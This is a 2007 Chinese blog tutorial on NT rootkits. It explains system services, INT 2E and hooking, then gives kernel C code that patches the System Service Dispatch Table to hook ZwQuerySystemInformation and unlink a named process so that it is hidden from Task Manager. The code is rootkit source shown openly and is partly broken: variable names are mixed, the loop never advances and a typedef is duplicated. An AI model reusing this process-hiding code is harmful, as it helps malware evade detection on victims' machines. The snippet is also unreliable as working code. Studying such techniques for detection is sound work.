推荐:NT操作系统的Rootkit技术初探

原创 2007年09月27日 19:55:00

Rootkit最早是起源于UNIX,出现在20世纪90年代初,在1994年2月的一篇安全咨询报告中首先使用了Rootkit这个名称。这篇安全咨询就是CERT-CC的CA-1994-01,题目是Ongoing Network Monitoring Attacks,最新的修订时间是1997年9月19日。从出现之后,Rootkit的发展非常迅速,应用越来越广泛,检测难度也越来越大,而且使用者由计算机高手向“平民化”发展。目前Windows平台下的Rootkit也日益流行,如RU,hxdef1.0,AFX2005等等,这些都是经典的Rootkit,通过它们,黑客可以隐藏自己,隐藏文件,隐藏其他不受保护的程序,修改系统的各种配置,修改环境变量等等,以达到对主机长时间控制的目的。
一个典型的Rootkit包括以下几个部分组成:
隐藏程序,用于隐藏Rootkit的程序文件,进程信息,注册表信息,同时也可以为其他进程提供隐藏的帮助;
特洛伊木马程序,为攻击者提供下次进入的后门;
一个远程的Shell,为攻击者继续渗透和做其他工作进行支持;
由Rootkit的组成部分可以看出,Rootkit和普通的特洛伊木马的区别主要就是在隐藏的方式和隐藏的功能上,下面主要对Rootkit的隐藏来进行一些分析。在开始深入到Rootkit的技术细节之前,我们对WindowsNT的系统内核进行一下简单的相关介绍:
系统服务
1. Windows系统服务。Windows系统服务是由操作系统提供的一组函数,应用程序接口使得开发者能够直接的或者间接的调用系统服务,操作系统以动态连接库的形式提供应用程序接口,而我们平常编写程序用的API一些是直接来自相应的系统服务,另一些则依赖其他多个系统服务调用,也就是说应用程序接口和系统服务之间不是一对一的调用,这种关系可以用下图表示:
Kernel32.dll NTDLL.DLL

 



2. Windows NT下的系统服务。在Windows NT下,NT的executive(NTOSKERL.EXE的一部分)提供了核心的系统服务,这些服务非常的简单和原始,各种Win32,OS/2,和POSIX的应用程序接口都是以DLL形式提供的,这些应用程序接口反过来又调用NT executive提供的服务。尽管调用了相同的服务,但由于子系统名称不同,API函数的名称也不定相同,比如用Win32 API打开一个文件,使用CreateFile()函数,但是在POSIX的API中使用open()函数,但是最终的结果都是调用了系统服务的NtCreateFile()系统服务
3. NTOSKERL的系统服务的用户接口是以包装函数的形式提供的。这些包装函数都在一个NTDLL.DLL的DLL里面,这些包装函数通过INT 2E指令来切换到内核模式并执行所需要的系统服务。WIN32 API函数(主要在Kernel32.DLL和Advapi.DLL里面)使用这些包装函数来调用系统服务。WIN32 API函数完成参数的有效性检查,将所有的参数都转换程UNICODE编码,然后调用NTDLL中对应所需的包装函数。NTOSKERL中的每一个系统服务都有Service ID标示,NTDLL中的包装函数将所需要的系统服务的Service ID送入EAX寄存器,将指向堆栈的指针送入EDX寄存器,然后发出INT 2E指令,这条指令将处理器切换至内核模式,并使处理器开始执行中断描述符表中为INT 2E指定的处理程序,这个处理程序由Windows NT的executive建。INT 2E处理程序将参数从用户模式堆栈拷贝到内核模式堆栈,堆栈的基址为EDX寄存器的值,由NT executive提供的INT 2E处理程序在内部被称为KiSystemService()。
4. Ring3和Ring0。在CPU的所有指令中,有一些指令是非常危险的,如果错用,将会导致整个系统崩溃,如果所有的程序都能使用这些指令,那么系统将不知道什么原因就会当机,就会蓝屏,由于这个原因,CPU将指令分为特权指令和非特权指令,对于那些特权指令只允许操作系统及其相关模块使用,普通的应用程序只能使用那些不会造成灾害的指令。可以更形象的说特权指令就是那些儿童不宜的东西,非特权指令就是那些老少皆宜的东西。Intel的CPU指令特权级别分为四个级别:Ring0,Ring1,Ring2,Ring3。Windows只使用其中的Ring0和Ring3两个级别,其中Ring0是给操作系统使用,Ring3可以任意应用程序使用。Windows下的系统服务都是工作在Ring0级别上的,NT服务提供的函数都是完全运行在内核模式下。
Hook的作用
钩子(Hooking)是一种拦截/监听可执行代码在执行过程中相关信息的一种通用机制,它可以监视指定窗口的某种消息,这个监视窗口可以是任意进程创建的,当消息到达后,在应用程序处理之前,可以由钩子程序首先进行分析处理,然后向下递交。因此钩子可以使我们了解系统的内部结构,运作机制,甚至可以修改系统的功能。
Hook系统服务
通过对Windows系统服务和Hook技术的简单介绍,显然,在这里我们会想到,应用程序所调用的API都是最终通过系统服务来实现的,如果我们通过挂钩技术来对系统服务进行挂钩,那么是不是就能达到我们的隐藏目的呢?答案是完全可行的。
查询Windows 2000Native Api我们可以找到,在任务管理器中查询进程信息是通过ZwQuerySystemInformation来实现,那么我们挂钩这个函数就能修改各种返回的系统信息,然后自己实现这个函数不就能达到隐藏特定的返回值的功能了吗? ZwQuerySystemInformation是在系统服务中提供,挂钩系统服务的最简单的办法就是定位操作系统使用的系统服务调度表(System Service Dispatch Table),以使之指向我们自己的某个函数,对调用返回的各种信息进行修改,然后回调。但是这个表在页表级是操作系统保护的,这个表所在的页的页属性被设置成只有内核模式的程序才能读写,用户级的应用程序不能读写该页单元,因此对这个表进行修改和挂钩必须通过内核驱动来完成。
NTOSKERL的export list中有一个未公开的表项结构叫做KeServiceDescriptorTable()。这个表项是访问系统服务调度表的关键,我们可以通过它来对系统服务调度表进行访问与修改。此表项的结构如下:
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
其中
ServiceTableBase是系统服务调度表的基地址;
NumberOfServices是系统服务调度表描述的服务的数目;
ServiceCounterTable(0)是操作系统的checked builds,包含了系统服务调度表中每个服务被调度的次数的计数器,这个计数器由INT 2E处理程序(KiSystemSerivce)更新;
ParamTableBase包含每个系统服务参数字节数表的基地址。
ServiceTableBase和ParaTableBase都有NumberOfService个表项,每个表项都是一个指向相应系统的函数指针。
我们只要由KeServiceDescriptorTable找到了我们关注的系统服务调用程序,就可以修改它对应的ServiceTableBase参数来实现对相应的系统服务调用的hook,在这里我们需要修改的相应的系统服务是ZwQuerySystemInformation。
一个简单的隐藏进程的Rootkit代码分析
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
定义未公开的KeserviceDescriptorTable。将keserviceDescriptorTable与相关数据结构联系起来,定义系统调用:
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
定义未公开的函数ZwQuerySystemInformation:
typedef
NTSTATUS
(*ZWQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformaitonLength,
OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
定义ZwQuerySystemInformation函数中的数据结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //Windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
修改系统服务调用,保留原始的入口地址,将系统服务对应的地址修改为我们程序的入口地址:
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)( SYSTEMSERVICE (ZwQuerySystemInformation));
_asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE (ZwQuerySystemInformation))= NewZwQuerySystemInformation;
_asm sti
解除钩子,还原系统服务
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
_asm sti
调用原始的系统服务,然后通过实现自己的ZwQuerySystemInformation函数来达到隐藏进程的目的。首先调用原始ZwQuerySystemInformation函数,得到当前的SystemInformation,然后对SystemInformation结构进行遍历,查找是否有需要隐藏的进程名称,当发现有需要隐藏的进程名称之后,修改SystemInformation中的进程队列,取下需要隐藏的进程单元,以达到在任务管理器中隐藏的目的。
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES * ProcPre = NULL;
while(curr)
{
if(RtlCompareUnicodeString(&ProcessName,&CurProcessName,TRUE) == 0)
当前的进程名称CurProcessName和需要隐藏的进程名称ProcessName进行比较,如果是需要隐藏的进程,则将指向当前进程的指针后移,摘除当前挂在链表上的进程结构。
{
if(ProcPre != NULL)
{
if(ProcCur->NextEntryDelta != 0)
{
ProcPre->NextEntryDelta += ProcCur->NextEntryDelta;
}
else
{
ProcPre->NextEntryDelta = 0;
}
}
else
{
if(ProcCur->NextEntryDelta != 0)
{
SystemInformation = (PSYSTEM_PROCESSES)((PTSTR)ProcCur + ProcCur->NextEntryDelta);
}
else
{
SystemInformation = NULL;
}
}
break;
}
}
最后将结果返回:
return(rc);
在这篇文章里面我们很粗浅的分析了一下一个基本的Rootkit的进程隐藏功能,相信大家看完之后对神秘的Rootkit有所了解。当然这个Hook ZwQuerySystemInformation来隐藏进程的技术已经能被很多的Rootkit检测工具查出来,但是,对于一般的进程查看工具而言,仍不失为一种比较好的隐藏策略。

 
版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

一个修改NT内核的真实RootKit

一个修改NT内核的真实RootKit 创建时间:2003-06-14 文章属性:翻译 文章提交:TOo2y (too2y_at_safechina.net) -------------...

基于VMM的Rootkit检测技术及模型分析

Linux通过其特有的虚拟文件系统(Virtual Filesystem)实现对多种文件系统的兼容。虚拟文件系统又称虚拟文件系统转换(Virtual Filesystem Switch vFs),是一...

读书笔记_Rootkit技术_深入补丁

之前介绍的都是在函数的入口处进行代码补丁,因为在内存中很容易找到函数,所以这个方法很容易实现。但anti-rootkit也同样容易检测到这种补丁,因为它可以只检查函数起始的20个字节的完整性就能够发现...

Windows Rootkit 技术分析

原文地址:http://blog.csdn.net/gzfqh/article/details/591879 现在很多人对rootkit认识不够,可以说空白。而此文的目的就是让大家认识rootk...

读书笔记_Rootkit技术_文件过滤驱动程序(2)

第一部分介绍了基本的钩住磁盘驱动器,下面介绍使用调度例程来完成文件过滤。 以下是标准的调度例程: NTSTATUS OurFilterDispatch ( IN PDEVICE_OBJECT De...

Rootkit技术基础(4)

Rootkit自身也是木马后门或恶意程序的一类,只是,它很特殊,为什么呢?因为,你无法找到它。 正如自然界的规则一样,最流行的病毒,对生物的伤害却是最小的,例如一般的感冒,但是 最不流行的病毒,却是最...

rootkit技术

熬夜写llroot,写的头有些晕了,代码也有点乱,所以停下来歇歇;就又去逆向昨天下的那个rootkit,搞了1个多小时,头又晕了,才搞了不到一半,夜深人静的时候,孤孤单单,没有美女陪,不爽啊.想想好长...

内核级Rootkit技术入门

本文转自:http://netsecurity.51cto.com/art/200609/31683.htm                 Ro...

Rootkit技术的主要原理

rootkit的主要分类: 应用级->内核级->硬件级 早期的rootkit主要为应用级rootkit,应用级rootkit主要通过替换login、ps、ls、netstat等系统工具,或...

读书笔记_Rootkit技术之detour补丁

下面介绍一下内联函数钩子。这种钩子远比IAT钩子强大,并不存在与Dll绑定时间相关的问题。在实现内联函数钩子时,rootkit实际上是重写了目标函数的代码字节,因此不管应用程序如何或者何时解析函数地址...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)